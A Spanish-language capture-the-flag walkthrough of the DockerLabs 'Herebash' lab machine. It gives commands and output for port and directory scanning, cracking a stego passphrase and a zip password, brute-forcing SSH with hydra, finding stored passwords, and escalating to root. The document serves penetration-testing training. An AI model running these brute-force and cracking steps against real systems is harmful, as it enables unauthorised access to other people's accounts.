DockerLabs - Herebash
nmap
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ nmap -sCV -p22,80 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:16:59:41:d2:f1:d4:cf:20:cc:ad:e0:f8:8c:ed:a2 (ECDSA)
|_ 256 72:9b:5b:79:74:e8:18:d6:0b:31:2e:99:00:01:b5:34 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
análisis
Comenzamos revisando la página principal del puerto 80 de la máquina, donde vemos que hay desplegado un servidor Apache:
Mientras analizamos la página, ejecutaremos gobuster y lo dejaremos buscando por fuerza bruta recursos en el servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/scripts (Status: 301) [Size: 310] [--> http://172.17.0.2/scripts/]
/index.html (Status: 200) [Size: 10733]
/spongebob (Status: 301) [Size: 312] [--> http://172.17.0.2/spongebob/]
/revolt (Status: 301) [Size: 309] [--> http://172.17.0.2/revolt/]
/server-status (Status: 403) [Size: 275]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================
En la página inicial, encontramos una URL que nos redirige al recurso /spongebob/spongebob.html:
Aquí vemos que nos dan una pista de hacia donde debemos enfocar nuestra búsqueda:
Si vamos al recurso /spongebob (que es la carpeta donde se aloja la página anterior) encontramos que podemos acceder, y nos lista una serie de ficheros y una carpeta:
Seguimos revisando los recursos que encontramos con gobuster, ya que la pista que dan todavía no encaja con nada de lo que hemos encontrado hasta ahora.
/scripts
Si accedemos al recurso /scripts vemos que se listan una serie de ficheros y directorios:
put.php
Con la pista que nos dieron antes, podemos probar a ver que métodos acepta el script put.php:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ curl -s -X GET "http://172.17.0.2/scripts/put.php"
Método no permitido
Viendo que no acepta el método GET, probamos con el método POST, pero la respuesta es la misma:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ curl -s -X POST "http://172.17.0.2/scripts/put.php"
Método no permitido
La pista nos hablaba sobre un nombre y un método, por lo que probamos a ver si el script acepta otros métodos, como, por ejemplo, el método PUT, y vemos que en este caso nos devuelve una cadena:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ curl -s -X PUT "http://172.17.0.2/scripts/put.php"
spongebob
Seguimos revisando el recurso /upload, ya que la cadena que nos devuelve no nos aporta ahora mismo mucha más información.
/upload
Dentro de la carpeta /upload vemos una imagen:
Nos la bajamos para analizarla:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
--XXXX-XX-XX XX:XX:XX-- http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
Connecting to 172.17.0.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 118308 (116K) [image/jpeg]
Saving to: ‘ohnorecallwin.jpg’
ohnorecallwin.jpg 100%[====================================================================================================================>] 115.54K --.-KB/s in 0s
XXXX-XX-XX XX:XX:XX (309 MB/s) - ‘ohnorecallwin.jpg’ saved [118308/118308]
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ ls
cmd.php ohnorecallwin.jpg
Al abrirla con steghide, vemos que nos pide una clave:
1
2
3
4
5
6
7
8
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ steghide info ohnorecallwin.jpg
"ohnorecallwin.jpg":
format: jpeg
capacity: 5.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
steghide: could not extract any data with that passphrase!
Usaremos stegseek para buscar por fuerza bruta la clave para extraer lo que está oculto dentro de la imagen, que tras un tiempo vemos que lo encuentra y nos extrae el fichero, el cual es un comprimido .zip:
1
2
3
4
5
6
7
8
9
10
11
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ stegseek --crack ohnorecallwin.jpg -wl /usr/share/seclists/Passwords/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "*********"
[i] Original filename: "seguro.zip".
[i] Extracting to "ohnorecallwin.jpg.out".
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ ls
cmd.php ohnorecallwin.jpg ohnorecallwin.jpg.out
Por ello, le cambiamos el nombre para poder identificarlo más fácilmente:
1
2
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ mv ohnorecallwin.jpg.out seguro.zip
Revisamos cual es su contenido con la utilidad 7z:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ 7z l seguro.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_GB.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 211 bytes (1 KiB)
Listing archive: seguro.zip
--
Path = seguro.zip
Type = zip
Physical Size = 211
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2024-06-13 19:28:13 ..... 11 23 secreto.txt
------------------- ----- ------------ ------------ ------------------------
2024-06-13 19:28:13 11 23 1 files
Al tratar de descomprimirlo, vemos que nuevamente nos piden una contraseña (no es la que encontramos con stegseek), por lo que usaremos zip2john para generar un hash:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ zip2john seguro.zip > hash
ver 1.0 efh 5455 efh 7875 seguro.zip/secreto.txt PKZIP Encr: 2b chk, TS_chk, cmplen=23, decmplen=11, crc=3DF4DA21 ts=8387 cs=8387 type=0
Posteriormente se lo pasaremos a john para tratar de obtener la contraseña por fuerza bruta, que tras un breve periodo de tiempo, la encuentra:
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ john -w=/usr/share/seclists/Passwords/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
********* (seguro.zip/secreto.txt)
Session completed.
Teniendo la contraseña, descomprimimos el contenido:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ 7z x seguro.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_GB.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 211 bytes (1 KiB)
Extracting archive: seguro.zip
--
Path = seguro.zip
Type = zip
Physical Size = 211
Enter password (will not be echoed):
Everything is Ok
Size: 11
Compressed: 211
Lo que obtenemos es un fichero de texto (secreto.txt), el cual contiene una cadena de texto:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ cat secreto.txt
**********
acceso inicial (rosa)
Dado que no sabemos para que se usa esta cadena, dejaremos en segundo plano hydra intentando averiguar por fuerza bruta si se trata de la contraseña de algún usuario por SSH en la máquina:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ hydra -L /usr/share/seclists/Usernames/Names/names.txt -p ********** ssh://172.17.0.2 -t 64 -I
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10177 login tries (l:10177/p:1), ~160 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[STATUS] 488.00 tries/min, 488 tries in 00:01h, 9733 to do in 00:20h, 20 active
[STATUS] 422.00 tries/min, 1266 tries in 00:03h, 8955 to do in 00:22h, 20 active
[STATUS] 385.43 tries/min, 2698 tries in 00:07h, 7529 to do in 00:20h, 14 active
[STATUS] 321.75 tries/min, 3861 tries in 00:12h, 6369 to do in 00:20h, 11 active
[STATUS] 290.88 tries/min, 4945 tries in 00:17h, 5285 to do in 00:19h, 11 active
[STATUS] 274.27 tries/min, 6034 tries in 00:22h, 4196 to do in 00:16h, 11 active
[STATUS] 263.41 tries/min, 7112 tries in 00:27h, 3118 to do in 00:12h, 11 active
[STATUS] 256.19 tries/min, 8198 tries in 00:32h, 2032 to do in 00:08h, 11 active
[22][ssh] host: 172.17.0.2 login: rosa password: **********
[STATUS] 249.81 tries/min, 9243 tries in 00:37h, 987 to do in 00:04h, 11 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
Finalmente encontramos que la contraseña pertenece a la usuaria rosa, por lo que nos conectamos por SSH:
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Herebash]
└─$ ssh rosa@172.17.0.2
rosa@172.17.0.2`s password:
rosa@1ff04139c4f0:~$ whoami
rosa
rosa@1ff04139c4f0:~$ hostname -I
172.17.0.2
Listamos los usuarios del sistema que tengan asignada una consola en el fichero /etc/passwd:
1
2
3
4
5
6
rosa@1ff04139c4f0:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
pedro:x:1002:1002:,,,:/home/pedro:/bin/bash
juan:x:1003:1003:,,,:/home/juan:/bin/bash
movimiento lateral (pedro)
En el directorio personal de la usuaria rosa encontramos el directorio -:
1
2
3
4
5
6
7
8
9
10
rosa@1ff04139c4f0:~$ ls -la
total 32
drwxrwxr-x 69 rosa rosa 4096 Jun 17 2024 -
drwxr-x--- 1 rosa rosa 4096 Jun 21 2024 .
drwxr-xr-x 1 root root 4096 Jun 17 2024 ..
-rw-r--r-- 1 rosa rosa 220 Jun 17 2024 .bash_logout
-rw-r--r-- 1 rosa rosa 3771 Jun 17 2024 .bashrc
drwx------ 2 rosa rosa 4096 Jun 21 2024 .cache
drwxrwxr-x 3 rosa rosa 4096 Jun 17 2024 .local
-rw-r--r-- 1 rosa rosa 807 Jun 17 2024 .profile
Dentro encontramos un gran número de carpetas, y un script:
1
2
3
4
5
6
7
8
9
10
11
12
rosa@1ff04139c4f0:~$ ls -la -
total 280
drwxrwxr-x 69 rosa rosa 4096 Jun 17 2024 .
drwxr-x--- 1 rosa rosa 4096 Jun 21 2024 ..
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass1
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass10
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass11
...
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass7
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass8
drwxrwxr-x 2 rosa rosa 4096 Jun 17 2024 buscaelpass9
-rwxrwxr-x 1 rosa rosa 432 Jun 17 2024 creararch.sh
El script se encarga de crear una gran cantidad de ficheros y guardarlos en las subcarpetas de la carpeta -:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@1ff04139c4f0:~$ cat './-/creararch.sh'
#!/bin/bash
# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
# Comprobamos si el directorio existe
if [ -d "$directorio" ]; then
# Crearmos 50 archivos y les metemos el contenido xx
for i in {1..50}; do
touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
done
echo "Se crearon 50 archivos en $directorio"
else
echo "El directorio $directorio no existe"
fi
done
Como sabemos el contenido que van a tener todos los ficheros que modifica el script, podemos obviarlos, y así obtener solo el contenido de los ficheros que no tengan dicho contenido, para poder, de esta manera, obtener finalmente la contraseña del usuario pedro:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@1ff04139c4f0:~/-$ find . -type f | xargs cat | grep -v "xxxxxx:xxxxxx"
pedro:******
#!/bin/bash
# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
# Comprobamos si el directorio existe
if [ -d "$directorio" ]; then
# Crearmos 50 archivos y les metemos el contenido xx
for i in {1..50}; do
done
echo "Se crearon 50 archivos en $directorio"
else
echo "El directorio $directorio no existe"
fi
done
Probamos a ver si la contraseña es correcta, y vemos que así es:
1
2
3
4
rosa@1ff04139c4f0:~/-$ su pedro
Password:
pedro@1ff04139c4f0:/home/rosa/-$ whoami
pedro
movimiento lateral (juan)
Buscamos los ficheros y carpetas que pertenezcan al usuario pedro dentro del sistema:
1
2
3
4
5
6
7
8
9
10
11
12
13
pedro@1ff04139c4f0:/home/rosa/-$ find / -user pedro 2>/dev/null | grep -v "/proc"
/home/pedro
/home/pedro/...
/home/pedro/.../.misecreto
/home/pedro/.local
/home/pedro/.local/share
/home/pedro/.local/share/nano
/home/pedro/.profile
/home/pedro/.bash_logout
/home/pedro/.bashrc
/home/pedro/.cache
/home/pedro/.cache/motd.legal-displayed
/var/mail/.pass_juan
Uno de ellos es el fichero /home/pedro/.../.misecreto en el cual nos indican que la contraseña del usuario juan se encuentra dentro de algún fichero del sistema:
1
2
pedro@1ff04139c4f0:/home/rosa/-$ cat /home/pedro/.../.misecreto
Consegui el pass de juan y lo tengo escondido en algun lugar del sistema fuera de mi home.
Sin embargo, la búsqueda con find ya nos descubre cual es dicho fichero, por lo que procedemos a leer su contenido:
1
2
pedro@1ff04139c4f0:/home/rosa/-$ cat /var/mail/.pass_juan
****************
El formato que tiene parece ser Base64, por lo que procedemos a decodificarlo y probamos a conectarnos como el usuario juan. Sin embargo, vemos que la contraseña no es correcta:
1
2
3
4
5
pedro@1ff04139c4f0:/home/rosa/-$ echo "****************" | base64 -d
***********
pedro@1ff04139c4f0:/home/rosa/-$ su juan
Password:
su: Authentication failure
Otra posibilidad es que la contraseña sea la cadena codificada en Base64, por lo que probamos con la cadena codificada, y vemos que accedemos correctamente como el usuario juan:
1
2
3
4
pedro@1ff04139c4f0:/home/rosa/-$ su juan
Password:
juan@1ff04139c4f0:/home/rosa/-$ whoami
juan
escalada de privilegios (root)
En el directorio personal del usuario juan encontramos un fichero oculto llamado .ordenes_nuevas:
1
2
3
4
5
6
7
8
9
10
juan@1ff04139c4f0:~$ ls -la
total 36
drwxr-x--- 1 juan juan 4096 XXX XX XX:XX .
drwxr-xr-x 1 root root 4096 Jun 17 2024 ..
-rw------- 1 juan juan 92 XXX XX XX:XX .bash_history
-rw-r--r-- 1 juan juan 220 Jun 17 2024 .bash_logout
-rw-r--r-- 1 juan juan 3791 Jun 17 2024 .bashrc
drwxrwxr-x 3 juan juan 4096 Jun 17 2024 .local
-rw-rw-r-- 1 juan juan 112 Jun 17 2024 .ordenes_nuevas
-rw-r--r-- 1 juan juan 807 Jun 17 2024 .profile
Dentro nos indican que la contraseña de otro usuario (suponemos que está hablando del usuario root) se encuentra en algún sitio a mano:
1
2
juan@1ff04139c4f0:~$ cat .ordenes_nuevas
Hola soy tu patron y me canse y me fui a casa te dejo mi pass en un lugar a mano consiguelo y acaba el trabajo.
Revisando los fichero del directorio personal del usuario juan encontramos que el fichero .bashrc hay un alias llamado pass con una cadena:
1
2
juan@1ff04139c4f0:~$ cat .bashrc | grep pass
alias pass='******'
Probamos a ver si esa es la contraseña del usuario root, y vemos que así es:
1
2
3
4
juan@1ff04139c4f0:~$ su root
Password:
root@1ff04139c4f0:/home/juan# whoami
root
Y de esta manera habremos ganado acceso privilegiado en la máquina Herebash!






